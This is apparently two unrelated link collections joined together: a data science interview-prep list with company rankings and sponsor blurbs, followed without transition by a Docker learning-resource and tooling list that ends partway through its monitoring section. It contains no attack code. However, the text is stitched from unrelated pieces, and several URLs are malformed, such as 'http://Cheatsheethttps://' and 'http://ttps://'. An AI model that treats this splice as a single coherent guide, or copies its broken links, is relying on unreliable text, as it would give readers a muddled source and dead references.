- [Stacks and queues in Python](https://gist.github.com/RatulSaha/b41c52614da34762a74d16dc066b68df#file-list-py)
- [Preparing for Programming Interviews with Python](https://medium.com/@ratulsaha/preparing-for-programming-interview-as-a-phd-student-with-python-5f8af8b40d5f)
- [Coding Interview University on GitHub](https://github.com/jwasham/coding-interview-university#about-video-resources)
- [Philip Guo Programming Interview Tips](http://www.pgbovine.net/programming-interview-tips.htm)
- [Google Python Style Guide](https://github.com/google/styleguide/blob/gh-pages/pyguide.md)
- [Algorithms in Python GitHub](https://github.com/TheAlgorithms/Python)
- [Intro to Classes and Objects in Python](https://www.youtube.com/watch?v=wfcWRAxRVBA)
- [Coding Interview Github Compilation](https://github.com/mre/the-coding-interview)
- [Problem Solving with Data Structures & Algorithms in Python](http://interactivepython.org/runestone/static/pythonds/index.html)
- [Python Leetcode Video Series Nasr Maswood](https://www.youtube.com/watch?v=Xorvwc2P0-8&list=PL6AvMp7YYQRxyltgP9mucWXYxcn1e2mx3)
- [Python Tricks and Tips](https://hackernoon.com/python-tricks-101-2836251922e0)
- [Big List of Interviewee Interview Questions](https://github.com/yangshun/tech-interview-handbook/blob/master/non-technical/questions-to-ask.md)
**Statistics and Probability**
- [Basics of Probability for Data Science](https://www.analyticsvidhya.com/blog/2017/02/basic-probability-data-science-with-examples/)
- [William Chen Probability](http://Cheatsheethttps://static1.squarespace.com/static/54bf3241e4b0f0d81bf7ff36/t/55e9494fe4b011aed10e48e5/1441352015658/probability_cheatsheet.pdf)
- [40 Questions on Probability for Data Science Interviews](https://www.analyticsvidhya.com/blog/2017/04/40-questions-on-probability-for-all-aspiring-data-scientists/)
- [Common Probability Distributions](http://blog.cloudera.com/blog/2015/12/common-probability-distributions-the-data-scientists-crib-sheet/)
- [Probability and Statistics for DS Medium Series](http://ttps://towardsdatascience.com/probability-statistics-for-data-science-series-83b94353ca48)
**Data Manipulation & SQL**
- [Mode Tutorial](https://community.modeanalytics.com/sql/tutorial/introduction-to-sql/)
- [How to Ace Data Science Interviews: SQL](https://towardsdatascience.com/how-to-ace-data-science-interviews-sql-b71de212e433)
- [How to Write Better Queries (Datacamp)](https://www.datacamp.com/community/tutorials/sql-tutorial-query)
- [Practice SQL problems](https://github.com/MaximAbramchuck/awesome-interview-questions#sql)
- [10 Frequently Asked SQL Questions](http://www.java67.com/2013/04/10-frequently-asked-sql-query-interview-questions-answers-database.html)
- [45 Essential SQL Interview Questions](https://www.toptal.com/sql/interview-questions)
- [More SQL practice on Github](https://github.com/XD-DENG/SQL-exercise)
**Data Analysis & Pandas**
- [Data School Video Series](https://www.youtube.com/playlist?list=PL5-da3qGB5ICCsgW1MxlZ0Hq8LL5U3u9y)
- [Intro to Pandas Data Structures](http://www.gregreda.com/2013/10/26/intro-to-pandas-data-structures/)
- [Excel Tasks in Pandas](http://pbpython.com/excel-pandas-comp.html)
- [Data Analyst Interview Practice Checkist Udacity](https://classroom.udacity.com/courses/ud944/lessons/d982ccec-8895-4362-981e-05bd266ac783/concepts/399b5b79-7fa9-435d-91ed-bd74369ff5d9)
- [More Pandas Exercises on Github](https://github.com/guipsamora/pandas_exercises)
**Machine Learning**
- [How To Prepare For A Machine Learning Interview](http://blog.udacity.com/2016/05/prepare-machine-learning-interview.html)
- [21 Must-Know Data Science Interview Questions and Answers](http://www.kdnuggets.com/2016/02/21-data-science-interview-questions-answers.html)
- [Top 50 Machine learning Interview questions & Answers](http://career.guru99.com/top-50-interview-questions-on-machine-learning/)
- [Machine Learning Engineer interview questions](https://resources.workable.com/machine-learning-engineer-interview-questions)
- [Popular Machine Learning Interview Questions](http://www.learn4master.com/machine-learning/popular-machine-learning-interview-questions)
- [121 Essential Machine Learning Questions & Answers](https://elitedatascience.com/mlqa-reading-list)
- [Machine Learning in Python Github Repo](https://github.com/machinelearningmindset/machine-learning-course)
- [The Applied Machine Learning Process](https://machinelearningmastery.com/process-for-working-through-machine-learning-problems/)
- [Springboard 41 Essential Machine Learning Questions](https://www.springboard.com/blog/machine-learning-interview-questions/)
- [Data School 15 Hours of Machine Learning Videos](https://www.dataschool.io/15-hours-of-expert-machine-learning-videos/)
- [Difference between boosting and bagging](https://quantdare.com/what-is-the-difference-between-bagging-and-boosting/)
- [Comprehensive Guide to Ensemble Learning Analytics Vidhya](https://www.analyticsvidhya.com/blog/2018/06/comprehensive-guide-for-ensemble-models/)
- [Kaggle Data Science Glossary](https://www.kaggle.com/shivamb/data-science-glossary-on-kaggle)
- [Machine Learning Interview Checklist Udacity](https://docs.google.com/document/d/e/2PACX-1vSYBV2l-IUU8rFPa6ldB5CSCrrnz_czoVMGN5G2hRRjfUjlG82a-tif0sO4QUF_MBkgeOj6U44ACOqM/pub?embedded=true)
- [Google Machine Learning Glossary](https://developers.google.com/machine-learning/glossary/)
- [100 Days of ML Code Infographics](https://github.com/Avik-Jain/100-Days-Of-ML-Code)
- [Machine Learning for Dummies Algorithm Overview](https://www.dummies.com/programming/big-data/data-science/machine-learning-dummies-cheat-sheet/)
- [ML Algorithm Pros and Cons](https://www.hackingnote.com/en/machine-learning/algorithms-pros-and-cons/)
- [Advantages of Different Classification Algorithms](https://www.quora.com/What-are-the-advantages-of-different-classification-algorithms)
- [The MLInterview Repo](https://github.com/theainerd/MLInterview)
**Product and Experimentation**
- [Experiments at Airbnb](https://medium.com/airbnb-engineering/experiments-at-airbnb-e2db3abf39e7)
- [When Should A/B testing not be trusted?](https://www.quora.com/When-should-A-B-testing-not-be-trusted-to-make-decisions)
- [TutorialsPoint A/B testing questions](https://www.tutorialspoint.com/ab_testing/ab_testing_interview_questions.htm)
- [Udacity A/B Testing Course](https://www.udacity.com/course/ab-testing--ud257)
- [Summery of Udacity A/B Testing Course](https://towardsdatascience.com/a-summary-of-udacity-a-b-testing-course-9ecc32dedbb1)
- [Hubspot Frequently Asked Questions about A/B Testing](https://blog.hubspot.com/blog/tabid/6307/bid/33466/answers-to-the-19-most-frequently-asked-questions-about-a-b-testing.aspx)
- [Introduction to Churn in Python](https://www.datascience.com/blog/churn-prediction-python)
- [How Do You Set Metrics? - Julie Zhou](https://medium.com/the-year-of-the-looking-glass/how-do-you-set-metrics-59f78fea7e44)
- [Metrics vs. Experience - Julie Zhou](https://medium.com/the-year-of-the-looking-glass/metrics-versus-experience-a9347d6b80b)
- [How Not to Run an A/B Test](http://www.evanmiller.org/how-not-to-run-an-ab-test.html)
- [12 Guidlines for A/B Tests](http://hookedondata.org/Guidelines-for-AB-Testing/?utm_campaign=Data_Elixir&utm_medium=email&utm_source=Data_Elixir_194)
- [A/B Testing at Stack Overflow](https://juliasilge.com/blog/ab-testing/)
- [Type I vs. Type II Errors Simplified](https://flowingdata.com/2014/05/09/type-i-and-ii-errors-simplified/)
- [A/B Testing TutorialPoint](https://www.tutorialspoint.com/ab_testing/index.htm)
- [Case Study: Pay as You Go](https://www.forbes.com/sites/quora/2015/05/29/you-can-earn-as-much-or-more-from-a-pay-what-you-want-model-as-from-a-fixed-price-model/#65b3a67221b5)
- [27 Metrics Used at Pinterest](http://jwegan.com/growth-hacking/27-metrics-pinterests-internal-growth-dashboard/)
- [70 Resources to Get Started With A/B Testing](https://www.quicksprout.com/2014/11/05/ab-testing-for-beginners-70-resources-to-get-you-started/)
**Big Data**
- [Apache Spark in Python: Beginner’s Guide (Datacamp)](https://www.datacamp.com/community/tutorials/apache-spark-python#gs.fMIIqxM)
- [Apache Spark vs. Mapreduce Whiteboard Walkthrough](https://www.youtube.com/watch?v=KzFe4T0PwQ8)
- [Differences Between Hadoop and Spark](https://www.quora.com/What-is-the-difference-between-Hadoop-and-Spark)
- [What is Hadoop?: SQL Comparison](https://www.youtube.com/watch?v=MfF750YVDxM)
- [Data Engineering Interactive Map](http://xyz.insightdataengineering.com/blog/pipeline_map/)
- [How to Learn Apache Spark? Quora Post](https://www.quora.com/How-do-I-learn-Apache-Spark)
- [Youtube Intro to Big Data with PySpark](https://www.youtube.com/playlist?list=PLE50-dh6JzC5zo2whIGqJ02CIhP3ysQLX)
- [Spark Documentation Screencasts](http://spark.apache.org/screencasts/1-first-steps-with-spark.html)
- [PySpark Cheatsheet](https://www.datacamp.com/community/blog/pyspark-cheat-sheet-python)
**Tech Interview Handbook**
- [How to prepare](https://yangshun.github.io/tech-interview-handbook/coding-round-overview) for coding interviews
- [Interview Cheatsheet](https://yangshun.github.io/tech-interview-handbook/cheatsheet) - Straight-to-the-point Do's and Don'ts
- [Algorithm tips and the best practice questions](https://yangshun.github.io/tech-interview-handbook/algorithms/algorithms-introduction) categorized by topic
- ["Front-end Job Interview Questions" answers](https://github.com/yangshun/front-end-interview-handbook)
- [Interview formats](https://yangshun.github.io/tech-interview-handbook/company-interview-formats) of the top tech companies
- [Behavioral questions](https://yangshun.github.io/tech-interview-handbook/behavioral-questions) asked by the top tech companies
- [Good questions to ask your interviewers](https://yangshun.github.io/tech-interview-handbook/questions-to-ask) at the end of the interviews
- [Helpful resume tips](https://yangshun.github.io/tech-interview-handbook/resume) to get your resume noticed and the Do's and Don'ts
**Python**
- [50 Python interview questions and answers](http://www.careerride.com/python-interview-questions.aspx)
- [11 Essential Python Interview Questions from Toptal](http://www.toptal.com/python/interview-questions)
- [A listing of questions that could potentially be asked for a python job listing](https://github.com/sigmavirus24/python-interview-questions)
- [Interview Questions for both beginners and experts](http://www.bogotobogo.com/python/python_interview_questions.php)
- [Interview Cake Python Interview Questions](https://www.interviewcake.com/python-interview-questions)
- [Python Frequently Asked Questions (Programming)](https://docs.python.org/2/faq/programming.html)
- [Python interview questions collected by Reddit users](https://www.reddit.com/r/Python/comments/1knw7z/python_interview_questions)
- [Python Interview Questions from questionscompiled](http://www.questionscompiled.com/python-interview-questions.html)
- [Top 25 Python Interview Questions from Career Guru](http://career.guru99.com/top-25-python-interview-questions/)
- [Python Interview 10 questions from Corey Schafer](https://www.youtube.com/watch?v=DEwgZNC-KyE)
- [Python interview questions. Part I. Junior](https://luminousmen.com/post/6)
- [Python interview questions. Part II. Middle](https://luminousmen.com/post/7)
- [Python interview questions. Part III. Senior](https://luminousmen.com/post/8)
- [Python Interview Questions and Answers (2019)](https://www.interviewbit.com/python-interview-questions/)
**Scala**
- [4 Interview Questions for Scala Developers](http://insights.dice.com/2014/09/12/4-interview-questions-scala-developers/)
- [A list of Frequently Asked Questions and their answers, sorted by category](http://www.scala-lang.org/old/faq)
- [A list of helpful Scala related questions you can use to interview potential candidates](https://github.com/Jarlakxen/Scala-Interview-Questions)
- [How Scala Developers Are Being Interviewed](http://programmers.stackexchange.com/questions/58145/how-scala-developers-are-being-interviewed)
- [Scala Interview Questions/Answers including Language Questions, Functional Programming Questions, Reactive Programming Questions](https://github.com/peterarsentev/Scala-Interview-Questions-Answers)
- [Top 25 Scala Interview Questions & Answers from Toptal](http://career.guru99.com/top-25-interview-questions-on-scala/)
**MongoDB**
- [28 MongoDB NoSQL Database Interview Questions and Answers](http://theprofessionalspoint.blogspot.com.by/2014/01/28-mongodb-nosql-database-interview.html)
- [MongoDB frequently Asked Questions by expert members with experience in MongoDB These questions and answers will help you strengthen your technical skills, prepare for the new job test and quickly revise the concepts](http://www.globalguideline.com/interview_questions/Questions.php?sc=MongoDB)
- [MongoDB Interview Questions from JavaTPointcom](http://www.javatpoint.com/mongodb-interview-questions)
- [MongoDB Interview Questions that have been designed specially to get you acquainted with the nature of questions you may encounter during your interview for the subject of MongoDB](http://www.tutorialspoint.com/mongodb/mongodb_interview_questions.htm)
- [Top 20 MongoDB interview questions from Career Guru](http://career.guru99.com/top-20-mongodb-interview-questions/)
**MySQL**
- [10 MySQL Database Interview Questions for Beginners and Intermediates](http://www.tecmint.com/10-mysql-database-interview-questions-for-beginners-and-intermediates/)
- [100 MySQL interview questions](http://www.careerride.com/MySQL-Interview-Questions.aspx)
- [15 Basic MySQL Interview Questions for Database Administrators](http://www.tecmint.com/basic-mysql-interview-questions-for-database-administrators/)
- [28 MySQL interview questions from JavaTPoint.com](http://www.javatpoint.com/mysql-interview-questions)
- [40 Basic MySQL Interview Questions with Answers](http://www.testingbrain.com/interview/mysql-interview-questions.html)
- [Top 50 MySQL Interview Questions & Answers from Career Guru](http://career.guru99.com/top-50-mysql-interview-questions-answers/)
**SQL**
- [10 Frequently asked SQL Query Interview Questions](http://java67.blogspot.com.by/2013/04/10-frequently-asked-sql-query-interview-questions-answers-database.html)
- [45 Essential SQL Interview Questions from Toptal](http://www.toptal.com/sql/interview-questions)
- [Common Interview Questions and Answers](http://www.indiabix.com/technical/sql-server-common-questions/)
- [General Interview Questions and Answers](http://www.indiabix.com/technical/sql-server-general-questions/)
- [Schema, Questions & Solutions for SQL Exercising](https://github.com/XD-DENG/SQL-exercise)
- [SQL Interview Questions that have been designed specially to get you acquainted with the nature of questions you may encounter during your interview for the subject of SQL](http://www.tutorialspoint.com/sql/sql_interview_questions.htm)
- [SQL Interview Questions CHEAT SHEET](https://www.interviewbit.com/sql-interview-questions/)
## Business Analytics Companies - 2019 Glassdoor Rankings
**"Best to work for"**
Arcadia Data,
FiveTran,
InfluxData,
Dataiku,
Confluent,
Redis Labs,
StreamSets,
Looker,
Periscope Data,
ThoughtSpot,
Alation,
Dremio,
H2O.ai and
SAP
**"Great to work for"**
Pivotal Software,
Domo,
Salesforce,
SiSense,
Google,
Couchbase,
Microsoft,
DataStax,
Actifio,
MongoDB,
Databricks,
MemSQL,
Informatica,
Talend,
Qubole
**"Good to work for"**
Tamr,
VoltDB,
Sumo Logic ,
Reltio,
Trifacta,
DataRobot,
MarkLogic,
Delphix,
EnterpriseDB,
Dell EMC,
Tableau Software,
Amazon Web Services,
Paxata,
Big Squid,
Kyvos Insights,
RapidMiner,
TIBCO
**"It is a job"**
Qlik,
IBM,
SAS,
Magnitude Software,
Zaloni,
Splunk,
Information Builders,
Hewlett Packard Enterprise,
MicroStrategy,
Cloudera,
Oracle,
Alteryx,
Logi Analytics,
GoodData,
MapR Technologies,
Syncsort,
SnapLogic,
Outlier,
Zoomdata,
Hitachi Vantara/Pentaho,
Datameer
### Most Data Scientists (per Linkedin Recruiter)
- IBM
- Microsoft
- Accenture
- Amazon
- Tata Consultancy
- Cognizant
- Google
- Capgemini
- Infosys
- Oracle
### Most Numerous Data Science Skills (per Linkedin Recruiter)
- Data Analysis
- Python
- R
- Machine Learning
- Statistics
- Data Mining
- Big Data
- Deep Learning
- Data Visualisation
- NLP
### Most Numerous Data Science Industries (per Linkedin Recruiter)
- Information Technology and Services
- Computer Software
- Research
- Higher Eductation
- Financial Services
- Telecommunications
- Management Consulting
- Internet
- Banking
- Insurances
### **Resume**
- [Resume Builder](https://github.com/salomonelli/best-resume-ever)
### **Sponsors**
[Firmai.org](www.firmai.org) is a project that focuse on the aggregation of open source AI-BI applications. FirmAI envisions a future of open data access and the facilitation of small-medium enterprise automation.
Tired of technical phone screens? Take Triplebyte’s <a href="https://triplebyte.com/a/Nosq7GM/careerb">quiz</a> and go straight to final onsite interviews! Also check out Triplebyte’s <a href="https://triplebyte.com/a/Nosq7GM/careera?page=salary">Salary Tool!</a> They use real data from actual offers made to Triplebyte engineers. A few of the companies that use Triplebyte include Adobe, Robinhood, Box, Dropbox, Instacart, Evernote, Hipmunk, Grammarly & Palantir
[r/datascienceproject](https://www.reddit.com/r/datascienceproject/) is a subreddit where you can share all your data science projects. There is no restrictions on self promotion. Let the best post rise to the top. One rule, it has to relate to a data science project.
|
Welcome to our comprehensive collection of learning resources for **Docker**! Here, you'll discover a curated list of the best learning materials we've assembled just for you.
Take a moment to explore these valuable resources, handpicked to enhance your understanding of **Docker**. We strive to provide the most up-to-date and informative content available.
### Learn
Name | Comments
:------ |:--------:
[Play with Docker](https://labs.play-with-docker.com) | "A simple, interactive and fun playground to learn Docker"
# Contents <!-- omit in toc -->
<!-- TOC -->
- Directories
- [Docker Basic Commands](docker-basic-commands.md)
- [Docker Complete Commands](docker-commands.md)
- [Docker Notes](docker-notes.md)
- [Legend](#legend)
- [What is Docker](#what-is-docker)
- [Where to start](#where-to-start)
- [Where to start (Windows)](#where-to-start-windows)
- [Projects](#projects)
- [Container Operations](#container-operations)
- [Container Composition](#container-composition)
- [Deployment and Infrastructure](#deployment-and-infrastructure)
- [Monitoring](#monitoring)
- [Networking](#networking)
- [Orchestration](#orchestration)
- [PaaS](#paas)
- [Reverse Proxy](#reverse-proxy)
- [Runtime](#runtime)
- [Security](#security)
- [Service Discovery](#service-discovery)
- [Volume Management / Data](#volume-management--data)
- [User Interface](#user-interface)
- [IDE integrations](#ide-integrations)
- [Desktop](#desktop)
- [Terminal](#terminal)
- [Terminal UI](#terminal-ui)
- [CLI tools](#cli-tools)
- [Other](#other)
- [Web](#web)
- [Docker Images](#docker-images)
- [Base Tools](#base-tools)
- [Builder](#builder)
- [Dockerfile](#dockerfile)
- [Linter](#linter)
- [Metadata](#metadata)
- [Registry](#registry)
- [Development with Docker](#development-with-docker)
- [API Client](#api-client)
- [CI/CD](#cicd)
- [Development Environment](#development-environment)
- [Garbage Collection](#garbage-collection)
- [Serverless](#serverless)
- [Testing](#testing)
- [Wrappers](#wrappers)
- [Services based on Docker (mostly :heavy_dollar_sign:)](#services-based-on-docker-mostly-heavy_dollar_sign)
- [CI Services](#ci-services)
- [CaaS](#caas)
- [Monitoring Services](#monitoring-services)
- [Useful Resources](#useful-resources)
- [Awesome Lists](#awesome-lists)
- [Demos and Examples](#demos-and-examples)
- [Good Tips](#good-tips)
- [Raspberry Pi & ARM](#raspberry-pi--arm)
- [Security](#security-1)
- [Videos](#videos)
- [Communities and Meetups](#communities-and-meetups)
- [Brazilian](#brazilian)
- [Chinese](#chinese)
- [English](#english)
- [Russian](#russian)
- [Spanish](#spanish)
- [Stargazers over time](#stargazers-over-time)
- [Contributor over time](#contributor-over-time)
<!-- /TOC -->
# What is Docker
> Docker is an open platform for developers and sysadmins to build, ship, and run distributed applications. Consisting of Docker Engine, a portable, lightweight runtime and packaging tool, and Docker Hub, a cloud service for sharing applications and automating workflows, Docker enables apps to be quickly assembled from components and eliminates the friction between development, QA, and production environments. As a result, IT can ship faster and run the same app, unchanged, on laptops, data center VMs, and any cloud.
_Source:_ [What is Docker](https://www.docker.com/why-docker/)
# Where to start
- [Benefits of using Docker](https://semaphoreci.com/blog/docker-benefits) for development and delivery, with a practical roadmap for adoption.
- [Bootstrapping Microservices](https://www.manning.com/books/bootstrapping-microservices-with-docker-kubernetes-and-terraform) by [Ashley Davis](https://twitter.com/ashleydavis75) - A practical and project-based guide to building applications with microservices, starts by building a Docker image for a single microservice and publishing it to a private container registry, finishes by deploying a complete microservices application to a production Kubernetes cluster.
- [Docker Curriculum](https://github.com/prakhar1989/docker-curriculum): A comprehensive tutorial for getting started with Docker. Teaches how to use Docker and deploy dockerized apps on AWS with Elastic Beanstalk and Elastic Container Service.
- [Docker Documentation](https://docs.docker.com/): the official documentation.
- [Docker for beginners](https://github.com/groda/big_data/blob/master/docker_for_beginners.md): A tutorial for beginners who need to learn the basics of Docker—from "Hello world!" to basic interactions with containers, with simple explanations of the underlying concepts.
- [Docker for novices](https://www.youtube.com/watch?v=xsjSadjKXns) An introduction to Docker for developers and testers who have never used it. (Video 1h40, recorded linux.conf.au 2019 — Christchurch, New Zealand) by Alex Clews.
- [Docker Latest Tutorial](https://www.techgeekbuzz.com/tutorial/docker/what-is-docker/) — This is a series of latest docker tutorial, where you can learn what is docker, docker lifecycle, how to run Nginx Web Server in Docker?, how to run mysql on docker container, how to use Python on doceker and many other important topics.
- [Docker simplified in 55 seconds](https://www.youtube.com/watch?v=vP_4DlOH1G4): An animated high-level introduction to Docker. Think of it as a visual tl;dr that makes it easier to dive into more complex learning materials.
- [Docker Training](https://training.mirantis.com) :heavy_dollar_sign:
- [Docker Tutorial for Beginners (Updated 2019 version)](https://hashnode.com/post/docker-tutorial-for-beginners-cjrj2hg5001s2ufs1nker9he2) — In this Docker tutorial, you'll learn all the basics and learn how you can containerize Node.js and Go applications. Even if you aren't familiar with these languages it should be easy for you to follow this tutorial and use any other language.
- [Learn Docker](https://github.com/dwyl/learn-docker): step-by-step tutorial and more resources (video, articles, cheat sheets) by [@dwyl](https://github.com/dwyl)
- [Play With Docker](https://training.play-with-docker.com/): PWD is a great way to get started with Docker from beginner to advanced users. Docker runs directly in your browser.
- [Practical Guide about Docker Commands in Spanish](https://github.com/brunocascio/docker-espanol) This spanish guide contains the use of basic docker commands with real life examples.
- [Practical Introduction to Container Terminology](https://developers.redhat.com/blog/2018/02/22/container-terminology-practical-introduction) The landscape for container technologies is larger than just docker. Without a good handle on the terminology, It can be difficult to grasp the key differences between docker and (pick your favorites, CRI-O, rkt, lxc/lxd) or understand what the Open Container Initiative is doing to standardize container technology.
- [The Docker Handbook](https://docker-handbook.farhan.dev/) An open-source book that teaches you the fundamentals, best practices and some intermediate Docker functionalities. The book is hosted on [fhsinchy/the-docker-handbook](https://github.com/fhsinchy/the-docker-handbook) and the projects are hosted on [fhsinchy/docker-handbook-projects](https://github.com/fhsinchy/docker-handbook-projects) repository.
**Cheatsheets** by
- [@eon01](https://github.com/eon01/DockerCheatSheet)
- [@dimonomid](https://github.com/dimonomid/docker-quick-ref) (PDF)
- [@JensPiegsa](https://github.com/JensPiegsa/docker-cheat-sheet)
- [@wsargent](https://github.com/wsargent/docker-cheat-sheet) (Most popular)
# Where to start (Windows)
- [A Comparative Study of Docker Engine on Windows Server vs Linux Platform](https://collabnix.com/a-comparative-study-of-docker-engine-on-windows-server-vs-linux-platform/) Comparing the feature sets and implementations of Docker on Windows and Linux
- [Docker on Windows behind a firewall](https://toedter.com/2015/05/11/docker-on-windows-behind-a-firewall/) by [@kaitoedter](https://twitter.com/kaitoedter)
- [Docker Quick Tutorial](https://vegibit.com/docker-quick-tutorial/) Introduces you to the official Getting Started Tutorial using Windows 10 and Hyper-V.
- [Docker Reference Architecture: Modernizing Traditional .NET Framework Applications](https://docs.mirantis.com/containers/v3.0/dockeree-ref-arch/app-dev/modernize-dotnet-apps.html) - You will learn to identify the types of .NET Framework applications that are good candidates for containerization, the "lift-and-shift" approach to containerization.
- [Docker with Microsoft SQL 2016 + ASP.NET](https://blog.alexellis.io/docker-does-sql2016-aspnet/) Demonstration running ASP.NET and SQL Server workloads in Docker
- [Exploring ASP.NET Core with Docker in both Linux and Windows Containers](https://www.hanselman.com/blog/exploring-aspnet-core-with-docker-in-both-linux-and-windows-containers) Running ASP.NET Core apps in Linux and Windows containers, using [Docker for Windows][docker-for-windows]
- [Running a Legacy ASP.NET App in a Windows Container](https://blog.sixeyed.com/dockerizing-nerd-dinner-part-1-running-a-legacy-asp-net-app-in-a-windows-container/) Steps for Dockerizing a legacy ASP.NET app and running as a Windows container
- [Windows Containers and Docker: The 101](https://www.youtube.com/watch?v=N7SG2wEyQtM) :movie_camera: - A 20-minute overview, using Docker to run PowerShell, ASP.NET Core and ASP.NET apps
- [Windows Containers Quick Start](https://learn.microsoft.com/en-us/virtualization/windowscontainers/about/) Overview of Windows containers, drilling down to Quick Starts for Windows 10 and Windows Server 2016
---
# Projects
- Moby = open source development
- Docker CE = free product release based on Moby
- Docker EE = commercial product release based on Docker CE.
> Docker EE is on the same code base as Docker CE, so also built from Moby, with commercial components added, such as "docker data center / universal control plane"
- [Moby](https://github.com/moby/moby)
- [Docker Images](https://hub.docker.com)
- [Docker Compose](https://github.com/docker/compose/) (Define and run multi-container applications with Docker)
- [Docker Machine](https://github.com/docker/machine) (Machine management for a container-centric world)
- [Docker Registry][distribution] (The Docker toolset to pack, ship, store, and deliver content)
- [Docker Swarm](https://github.com/docker/swarm) (Swarm: a Docker-native clustering system)
## Container Operations
### Container Composition
- [bocker](https://github.com/icy/bocker) (2) :skull: - Write Dockerfile completely in Bash. Extensible and simple. --> Reusable by [@icy](https://github.com/icy)
- [bocker](https://github.com/p8952/bocker) (1) :skull: - Docker implemented in 100 lines of bash by [p8952](https://github.com/p8952)
- [box](https://github.com/box-builder/box) :skull: - Build Dockerfile images with a mruby DSL, includes flattening and layer manipulation
- [Capitan](https://github.com/byrnedo/capitan) - Composable docker orchestration with added scripting support by [@byrnedo].
- [compose_plantuml](https://github.com/funkwerk/compose_plantuml) :skull: - Generate Plantuml graphs from docker-compose files by [@funkwerk](https://github.com/funkwerk)
- [Composerize](https://github.com/magicmark/composerize) - Convert docker run commands into docker-compose files
- [crowdr](https://github.com/polonskiy/crowdr) - Tool for managing multiple Docker containers (`docker-compose` alternative) by [@polonskiy](https://github.com/polonskiy/)
- [ctk](https://github.com/ctk-hq/ctk) :construction: - Visual composer for container based workloads. By [@corpulent](https://github.com/corpulent)
- [docker-compose-graphviz](https://github.com/abesto/docker-compose-graphviz) :skull: - Turn a docker-compose.yml files into Graphviz .dot files by [@abesto](https://github.com/abesto)
- [docker-config-update](https://github.com/sudo-bmitch/docker-config-update) - Utility to update docker configs and secrets for deploying in a compose file by [@sudo-bmitch](https://github.com/sudo-bmitch)
- [draw-compose](https://github.com/Alexis-benoist/draw-compose) :skull: - Utility to draw a schema of a docker compose by [@Alexis-benoist](https://github.com/Alexis-benoist)
- [elsy](https://github.com/cisco/elsy) - An opinionated, multi-language, build tool based on Docker and Docker Compose
- [habitus](https://github.com/cloud66-oss/habitus) - A Build Flow Tool for Docker by [@cloud66](https://github.com/cloud66)
- [kompose](https://github.com/kubernetes/kompose) - Go from Docker Compose to Kubernetes
- [Maestro](https://github.com/toscanini/maestro) :skull: - Maestro provides the ability to easily launch, orchestrate and manage multiple Docker containers as single unit by [@tascanini](https://github.com/toscanini)
- [percheron](https://github.com/ashmckenzie/percheron) :skull: - Organise your Docker containers with muscle and intelligence by [@ashmckenzie](https://github.com/ashmckenzie)
- [plash](https://github.com/ihucos/plash) - A container run and build engine - runs inside docker.
- [podman-compose](https://github.com/containers/podman-compose) - a script to run docker-compose.yml using podman by [@containers][containers]
- [rocker-compose](https://github.com/grammarly/rocker-compose) :skull: - Docker composition tool with idempotency features for deploying apps composed of multiple containers. By[@grammarly].
- [rocker](https://github.com/grammarly/rocker) :skull: - Extended Dockerfile builder. Supports multiple FROMs, MOUNTS, templates, etc. by [@grammarly].
- [Smalte](https://github.com/roquie/smalte) – Dynamically configure applications that require static configuration in docker container. By [@roquie](https://github.com/roquie)
- [Stacker](https://github.com/stacker/stacker-cli) :skull: - Docker Compose Templates. Stacker provides an abstraction layer over Docker Compose and a better DX (developer experience).
- [Stitchocker](https://github.com/alexaandrov/stitchocker) - A lightweight and fast command line utility for conveniently grouping your docker-compose multiple container services. By [@alexaandrov](https://github.com/alexaandrov)
- [Zodiac](https://github.com/CenturyLinkLabs/zodiac) :skull: - A lightweight tool for easy deployment and rollback of dockerized applications. By [@CenturyLinkLabs][centurylinklabs]
### Deployment and Infrastructure
- [awesome-stacks](https://github.com/ethibox/awesome-stacks) - Deploy 80+ open-source web apps with one Docker command
- [blackfish](https://gitlab.com/blackfish/blackfish) - a CoreOS VM to build swarm clusters for Dev & Production by [@blackfish](https://gitlab.com/blackfish/)
- [BosnD](https://gitlab.com/n0r1sk/bosnd) - BosnD, the boatswain daemon - A dynamic configuration file writer & service reloader for dynamically changing container environments.
- [Centurion](https://github.com/newrelic/centurion) - Centurion is a mass deployment tool for Docker fleets. It takes containers from a Docker registry and runs them on a fleet of hosts with the correct environment variables, host volume mappings, and port mappings. By [@newrelic](https://github.com/newrelic)
- [Clocker](https://github.com/brooklyncentral/clocker) - Clocker creates and manages a Docker cloud infrastructure. Clocker supports single-click deployments and runtime management of multi-node applications that run as containers distributed across multiple hosts, on both Docker and Marathon. It leverages [Calico][calico] and [Weave][weave] for networking and [Brooklyn](https://brooklyn.apache.org/) for application blueprints. By [@brooklyncentral](https://github.com/brooklyncentral)
- [Conduit](https://github.com/ehazlett/conduit) - Experimental deployment system for Docker by [@ehazlett](https://github.com/ehazlett)
- [depcon](https://github.com/ContainX/depcon) - Depcon is written in Go and allows you to easily deploy Docker containers to Apache Mesos/Marathon, Amazon ECS and Kubernetes. By [@ContainX][containx]
- [deploy](https://github.com/ttiny/deploy) :skull: - Git and Docker deployment tool. A middle ground between simple Docker composition tools and full blown cluster orchestration by [@ttiny](https://github.com/ttiny)
- [dockit](https://github.com/humblec/dockit) :skull: - Do docker actions and Deploy gluster containers! By [@humblec](https://github.com/humblec)
- [gitkube](https://github.com/hasura/gitkube) - Gitkube is a tool for building and deploying docker images on Kubernetes using `git push`. By [@Hasura](https://github.com/hasura/).
- [Grafeas](https://github.com/grafeas/grafeas) - A common API for metadata about containers, from image and build details to security vulnerabilities. By [grafeas](https://github.com/grafeas)
- [Longshoreman](https://github.com/longshoreman/longshoreman) :skull: - Longshoreman automates application deployment using Docker. Just create a Docker repository (or use a service), configure the cluster using AWS or Digital Ocean (or whatever you like) and deploy applications using a Heroku-like CLI tool. By [longshoreman](https://github.com/longshoreman)
- [SwarmManagement](https://github.com/hansehe/SwarmManagement) - Swarm Management is a python application, installed with pip. The application makes it easy to manage a Docker Swarm by configuring a single yaml file describing which stacks to deploy, and which networks, configs or secrets to create.
- [werf](https://github.com/werf/werf) - werf is a CI/CD tool for building Docker images efficiently and deploying them to Kubernetes using GitOps by [@flant](https://github.com/flant)
### Monitoring
- [Autoheal](https://github.com/willfarrell/docker-autoheal) - Monitor and restart unhealthy docker containers automatically.
- [Axibase Collector](https://github.com/axibase/docker-axibase-collector) - Axibase Collector streams performance counters, configuration changes and lifecycle events from the Docker engine(s) into Axibase Time Series Database for roll-up dashboards and integration with upstream monitoring systems.
- [cAdvisor](https://github.com/google/cadvisor) - Analyzes resource usage and performance characteristics of running containers. Created by [@Google][google]
- [Docker-Alertd](https://github.com/deltaskelta/docker-alertd) - Monitor and send alerts based on docker container resource usage/statistics
